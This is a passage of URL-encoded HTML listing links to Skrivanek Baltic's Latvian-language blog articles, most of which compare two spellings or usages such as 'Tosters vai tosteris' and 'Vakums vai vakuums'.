tikai%20skolnieki%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskrinsots-ekransavins-ekranuznemums%2F%22%3ESkr%C4%ABn%C5%A1ots%20vai%20ekr%C4%81n%C5%A1%C4%81vi%C5%86%C5%A1%2C%20vai%20ekr%C4%81nuz%C5%86%C4%93mums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskruvgriezis-pret-skruvgrieznis%2F%22%3ESkr%C5%ABvgriezis%20vai%20skr%C5%ABvgrieznis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskuters-pret-skuteris%2F%22%3ESkuters%20vai%20sk%C5%ABteris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskvalans-vai-skvalens%2F%22%3ESkval%C4%81ns%20vai%20skval%C4%93ns%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsledziens-vai-secinajums%2F%22%3ESl%C4%93dziens%20vai%20secin%C4%81jums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fslimiba-pret-saslimsana%2F%22%3ESlim%C4%ABba%20vai%20saslim%C5%A1ana%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fslidrade-pret-slaidrade%2F%22%3ESl%C4%ABdr%C4%81de%20vai%20slaidr%C4%81de%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsniegpulkstenite-pret-sniegpulkstenitis%2F%22%3ESniegpulksten%C4%ABte%20vai%20sniegpulksten%C4%ABtis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsnukers%2F%22%3ESnukers%20vai%20sn%C5%ABkers%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsokrats-vai-sokrats%2F%22%3ESokrats%20vai%20Sokr%C4%81ts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsolids-pret-zolids%2F%22%3ESol%C4%ABds%20vai%20zol%C4%ABds%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsorbets-vai-sorberts%2F%22%3ESorbets%20vai%20sorberts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fuz-saites-vai-uz-saiti%2F%22%3ESpied%20uz%20saiti%20vai%20uz%20saites%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsprands-vai-spranda%2F%22%3ESprands%20vai%20spranda%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fstarpcitu-vai-starp-citu%2F%22%3EStarpcitu%20vai%20starp%20citu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fstarptautiska-teatra-diena%2F%22%3EStarptautisk%C4%81%20Te%C4%81tra%20diena%20vai%20Starptautisk%C4%81%20te%C4%81tra%20diena%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fstartaps-pret-jaunuznemums%2F%22%3ESt%C4%81rtaps%20vai%20jaunuz%C5%86%C4%93mums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fstroganovs-pret-strogonovs%2F%22%3EStroganovs%20vai%20strogonovs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fstrudele-pret-strudele%2F%22%3EStr%C5%ABdele%20vai%20%C5%A1tr%C5%ABdele%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsampanietis%2F%22%3E%C5%A0ampanietis%20vai%20%C5%A1amp%C4%81nietis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsarm-es-seiha-vai-sarm-el-seiha-vai-sarmelseiha%2F%22%3E%C5%A0arm%20el%20%C5%A0eiha%20vai%20%C5%A0arm%20e%C5%A1%20%C5%A0eiha%20vai%20%C5%A0armel%C5%A1eiha%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsasliks-pret-sasliks%2F%22%3E%C5%A0a%C5%A1liks%20vai%20%C5%A1a%C5%A1%C4%BCiks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fserbets-vai-serberts%2F%22%3E%C5%A0erbets%20vai%20%C5%A1erberts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsi-gada-pret-sa-gada%2F%22%3E%C5%A0%C4%AB%20gada%20vai%20%C5%A1%C4%81%20gada%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fskersot-gajeju-pareju-pret-skersot-ielu-pa-gajeju-pareju%2F%22%3E%C5%A0%C4%B7%C4%93rsot%20g%C4%81j%C4%93ju%20p%C4%81reju%20vai%20%C5%A1%C4%B7%C4%93rsot%20ielu%20pa%20g%C4%81j%C4%93ju%20p%C4%81reju%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsobrid-pret-dotaja-bridi%2F%22%3E%C5%A0obr%C4%ABd%20vai%20dotaj%C4%81%20br%C4%ABd%C4%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fslirce-vai-sprice-vai-sirce%2F%22%3E%C5%A0price%20vai%20%C5%A1%C4%BCirce%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftalmuds%2F%22%3ETalmuds%20vai%20Talm%C5%ABds%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftas-ir-kas-jauks-vai-tas-ir-kas-jauks%2F%22%3ETas%20ir%20kas%20jauks%20vai%20tas%20ir%2C%20kas%20jauks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftas-japaspej-redzet-pret-to-japaspej-redzet%2F%22%3ETAS%20j%C4%81pasp%C4%93j%20redz%C4%93t%20vai%20TO%20j%C4%81pasp%C4%93j%20redz%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftadejadi%2F%22%3ET%C4%81dej%C4%81di%20vai%20t%C4%81d%C4%93j%C4%81di%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftadzins-tadzins-vai-tadzina-tadzina%2F%22%3ET%C4%81d%C5%BEins%2C%20tad%C5%BEins%20vai%20t%C4%81d%C5%BEina%2C%20tad%C5%BEina%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftalrunis-pret-telefons%2F%22%3ET%C4%81lrunis%20vai%20telefons%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftapec-pret-tadel%2F%22%3ET%C4%81p%C4%93c%20vai%20t%C4%81d%C4%93%C4%BC%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fteju-vai-gandriz%2F%22%3ETeju%20vai%20gandr%C4%ABz%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftekvondo-pret-teikvondo-pret-teikvando%2F%22%3ETekvondo%2C%20teikvondo%20vai%20teikvando%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fterminals-vai-terminalis%2F%22%3ETermin%C4%81ls%20vai%20termin%C4%81lis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdel-tevis-pret-tevis-del%2F%22%3ETevis%20d%C4%93%C4%BC%20vai%20d%C4%93%C4%BC%20tevis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftemeklis-vai-temeklis%2F%22%3ET%C4%93meklis%20vai%20t%C4%93m%C4%93klis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftikpat-pret-tik-pat%2F%22%3ETikpat%20vai%20tik%20pat%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftiramisu%2F%22%3ETiramisu%20vai%20tiramis%C5%AB%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftornado-pret-tornado%2F%22%3ETornado%20vai%20torn%C4%81do%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftortilla-vai-tortilja-vai-tortila%2F%22%3ETortilla%20vai%20tortilja%20vai%20torti%C4%BCa%3F%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftosteris-vai-tosters%2F%22%3ETosters%20vai%20tosteris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftrenazieris-vai-trenezieris%2F%22%3ETrena%C5%BEieris%20vai%20trene%C5%BEieris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftrijsturis-pret-trissturis%2F%22%3ETrijst%C5%ABris%20vai%20tr%C4%ABsst%C5%ABris%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftrukst-darbinieki-pret-trukst-darbinieku%2F%22%3ETr%C5%ABkst%20darbinieki%20vai%20tr%C5%ABkst%20darbinieku%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftulkojums-pret-tulkojums%2F%22%3ETulkojums%20vai%20t%C5%ABlkojums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftulkotajs-pret-tulks%2F%22%3ETulks%20vai%20tulkot%C4%81js%20%E2%80%93%20k%C4%81da%20ir%20at%C5%A1%C4%B7ir%C4%ABba%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fturas%2F%22%3ETuras%20vai%20tur%C4%81s%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftubina-pret-tulbina%2F%22%3ET%C5%ABbi%C5%86a%20vai%20tulbi%C5%86a%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Ftukstots-pret-tukstos-pret-tukstotis%2F%22%3ET%C5%ABkstots%2C%20t%C5%ABksto%C5%A1%20vai%20t%C5%ABkstotis%20gadu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Funikums-vai-unikums-unikals-vai-unikals%2F%22%3EUnikums%20vai%20%C5%ABnikums%3F%20Unik%C4%81ls%20vai%20%C5%ABnik%C4%81ls%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Furbinat-vai-rubinat%2F%22%3EUrbin%C4%81t%20vai%20rubin%C4%81t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fuz-ielas-vai-iela%2F%22%3EUz%20ielas%20vai%20iel%C4%81%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fuzputenis-pret-debesmanna%2F%22%3EUzputenis%20vai%20uzp%C5%ABtenis%2C%20vai%20debesmanna%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fbardaks-pret-haoss%2F%22%3EUz%20rakst%C4%81mgalda%20valda%20bardaks%20vai%20haoss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fuzstadit-merki-vai-izvirzit-merki%2F%22%3EUzst%C4%81d%C4%ABt%20m%C4%93r%C4%B7i%20vai%20izvirz%C4%ABt%20m%C4%93r%C4%B7i%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fudenstilpe-pret-udenstilpne%2F%22%3E%C5%AAdenstilpe%20vai%20%C5%ABdenstilpne%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpasakumu-apmeklejusi-desmit-interesenti-pret-pasakumu-apmeklejusi-desmit-interesentu%2F%22%3EVai%20aiz%20%E2%80%9Edesmit%E2%80%9D%20rakst%C4%ABsim%20nominat%C4%ABvu%20vai%20%C4%A3enit%C4%ABvu%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvai-dokumentos-rakstot-datumu-datorraksta-pec-punkta-ir-liekama-atstarpe%2F%22%3EVai%20dokumentos%2C%20rakstot%20datumu%20datorrakst%C4%81%2C%20p%C4%93c%20punkta%20ir%20liekama%20atstarpe%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fdzivnieki-tai-skaita-lapsas-un-ezi-ir-skaisti-pret-dzivnieki-tai-skaita-lapsas-un-ezi-ir-skaisti%2F%22%3EVai%20iespraudums%20%E2%80%9Etai%20skait%C4%81%E2%80%9D%20ar%20komatiem%20atdal%C4%81ms%20no%20ab%C4%81m%20pus%C4%93m%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Far-cienu-ilze-vai-ar-cienu-ilze%2F%22%3EVai%20komats%20p%C4%93c%20v%C4%81rdu%20savienojuma%20%E2%80%9Car%20cie%C5%86u%E2%80%9D%20vai%20%E2%80%9Ccie%C5%86%C4%81%E2%80%9D%20ir%20j%C4%81liek%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fnilzirgs-pret-behemots-pret-begemots-pret-hipopotams%2F%22%3EVai%20pareizi%20b%C5%ABs%20%E2%80%9En%C4%ABlzirgs%E2%80%9D%2C%20%E2%80%9Ebehemots%E2%80%9D%2C%20%E2%80%9Ebegemots%E2%80%9D%20vai%20varb%C5%ABt%20%E2%80%9Ehipopotams%E2%80%9D%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fpietrukst-divi-punkti-pret-pietrukst-divu-punktu%2F%22%3EVai%20pietr%C5%ABkst%20divu%20punktu%20vai%20divi%20punkti%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fannai-strauja-pret-annai-straujai-pret-annai-straujajai%2F%22%3EVai%20rakst%C4%ABsim%20v%C4%93stuli%20Annai%20Strauj%C4%81%2C%20Annai%20Straujai%20vai%20Annai%20Straujajai%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvairak-bedres-pret-vairak-bedru%2F%22%3EVair%C4%81k%20bedres%20vai%20bedru%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvairakkartejs-vai-vairakkartigs%2F%22%3EVair%C4%81kk%C4%81rt%C4%93js%20vai%20vair%C4%81kk%C4%81rt%C4%ABgs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvairs-pret-vairak%2F%22%3EVAIRS%20vai%20VAIR%C4%80K%20nedz%C4%ABvo%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvalsts-prezidents%2F%22%3EVai%20sv%C4%93tkos%20uzrunu%20saka%20valsts%20prezidents%20vai%20Valsts%20prezidents%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fplansesu-pret-plansetu%2F%22%3EVai%20teiksim%3A%20plan%C5%A1e%C5%A1u%20remonts%20vai%20plan%C5%A1etu%20remonts%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvakums-pret-vakuums%2F%22%3EVakums%20vai%20vakuums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fsveta-valentina-diena-valentina-diena-vai-valentindiena%2F%22%3EValent%C4%ABna%20diena%2C%20Valent%C4%ABndiena%20vai%20Sv%C4%93t%C4%81%20Valent%C4%ABna%20diena%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fblogs%2F%22%3EValodu%20uz%C5%86%C4%93muma%20Skrivanek%20Baltic%20blogs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fetikas-kodekss%2F%22%3EValodu%20uz%C5%86%C4%93muma%20Skrivanek%20Baltic%20%C4%93tikas%20kodekss%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvalutas-kalkulators-vai-valutu-kalkulators%2F%22%3EVal%C5%ABtas%20kalkulators%20vai%20val%C5%ABtu%20kalkul%C4%81tors%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvandalis-pret-vandalis%2F%22%3EVandalis%20vai%20vand%C4%81lis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvantuzs-pret-atsucejs%2F%22%3EVant%C5%ABzs%20vai%20ats%C5%ABc%C4%93js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvariet-pret-varat%2F%22%3EVariet%20vai%20varat%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvarda-diena-vai-vardadiena%2F%22%3EV%C4%81rda%20diena%20vai%20v%C4%81rdadiena%3F%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvecmate-pret-vecamate%2F%22%3EVecm%C4%81te%20vai%20vec%C4%81m%C4%81te%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvecmilgravis%2F%22%3EVecmilgr%C4%81vis%20vai%20Vecm%C4%ABlgr%C4%81vis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvegans-vai-veganisks%2F%22%3EVeg%C4%81ns%20vai%20veg%C4%81nisks%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fritenis-vai-velosipeds%2F%22%3EVelosip%C4%93ds%20vai%20ritenis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvestnieks-vai-vestnesis%2F%22%3EV%C4%93stnieks%20vai%20v%C4%93stnesis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Frozu-skirne-smaida%2F%22%3EVienp%C4%93d%C4%AB%C5%86u%20lietojums%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvienreizejs-pret-vienreizigs%2F%22%3EVienreiz%C4%93js%20vai%20vienreiz%C4%ABgs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fviens-otram-vai-cits-citam%2F%22%3EViens%20otram%20vai%20cits%20citam%3F%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvins-mokas-pret-vins-mocas%2F%22%3EVi%C5%86%C5%A1%20mok%C4%81s%20vai%20moc%C4%81s%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvins-zin-pret-vins-zina%2F%22%3EVi%C5%86%C5%A1%20zin%20vai%20vi%C5%86%C5%A1%20zina%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvirzis-vai-ruteris-vai-marsrutetajs%2F%22%3EVirzis%2C%20r%C5%ABteris%20vai%20mar%C5%A1rut%C4%93t%C4%81js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvisapkart-pasaulei-vai-visa-pasaule%2F%22%3EVisapk%C4%81rt%20pasaulei%20vai%20vis%C4%81%20pasaul%C4%93%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvisparigs-pret-visparejs%2F%22%3EVisp%C4%81r%C4%ABgs%20vai%20visp%C4%81r%C4%93js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvizet-vai-vizet%2F%22%3EViz%C4%93t%20vai%20v%C4%ABz%C4%93t%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvoluntieris-vai-volontieris-vai-brivpratigais%2F%22%3EVoluntieris%2C%20volontieris%20vai%20br%C4%ABvpr%C4%81t%C4%ABgais%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fvorcesteras-merce-vai-vusteras-merce%2F%22%3EVor%C4%8Desteras%20m%C4%93rce%20vai%20Vusteras%20m%C4%93rce%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzandales-pret-sandales%2F%22%3EZandales%20vai%20sandales%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzaliens-pret-zalajs%2F%22%3EZ%C4%81liens%20vai%20z%C4%81l%C4%81js%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzelmenis-pret-zelminis%2F%22%3EZelmenis%20vai%20zelminis%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fziemassvetki-vai-ziemsvetki%2F%22%3EZiemassv%C4%93tki%20vai%20Ziemsv%C4%93tki%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzobu-suka-vai-zobu-birste%2F%22%3EZobu%20suka%20vai%20zobu%20birste%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzudiba-vai-zudiba%2F%22%3EZud%C4%ABba%20vai%20z%C5%ABd%C4%ABba%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%20href%3D%22https%3A%2F%2Fskrivanek.lv%2Fzanrs-pret-zandrs%2F%22%3E%C5%BDanrs%20vai%20%C5%BEandrs%3C%2Fa%3E%3C%2Fli%3E%0A%20%20%3Cli%20class%3D%22card%22%3E%3Ca%